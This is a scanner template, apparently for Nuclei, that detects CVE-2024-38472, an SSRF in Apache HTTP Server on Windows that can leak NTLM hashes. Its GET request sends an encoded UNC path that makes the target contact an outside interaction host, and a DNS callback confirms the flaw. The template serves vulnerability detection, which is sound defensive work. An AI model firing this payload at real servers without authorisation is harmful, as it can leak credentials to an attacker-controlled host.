SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
PoC代码[已公开]
id: CVE-2024-38472
info:
name: Apache HTTPd Windows UNC - Server-Side Request Forgery
author: pdteam
severity: high
description: |
SSRF in Apache HTTP Server on Windows allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests or content Users are recommended to upgrade to version 2.4.60 which fixes this issue. Note- Existing configurations that access UNC paths will have to configure new directive "UNCList" to allow access during request processing.
reference:
- https://blog.orange.tw/2024/08/confusion-attacks-en.html
- https://httpd.apache.org/security/vulnerabilities_24.html
- https://security.netapp.com/advisory/ntap-20240712-0001/
- https://github.com/nomi-sec/PoC-in-GitHub
- https://github.com/Abdurahmon3236/CVE-2024-38472
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-38472
cwe-id: CWE-918
epss-score: 0.88259
epss-percentile: 0.99465
tags: cve,cve2024,apache,ssrf,oast,httpd
http:
- method: GET
path:
- "{{BaseURL}}/%5C%5C{{interactsh-url}}/apachehttpd"
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: interactsh_request
words:
- "/apachehttpd"
# digest: 4a0a00473045022100c569a45cfdc2d75f441adad846a788baafc066b3d3fb432c22cfb3cb7a020feb0220173f55a95a82a5776da72af0b1feb0180896e2b61731d327e52a4c72e381cb66:922c64590222798bb761d5b6d8e72950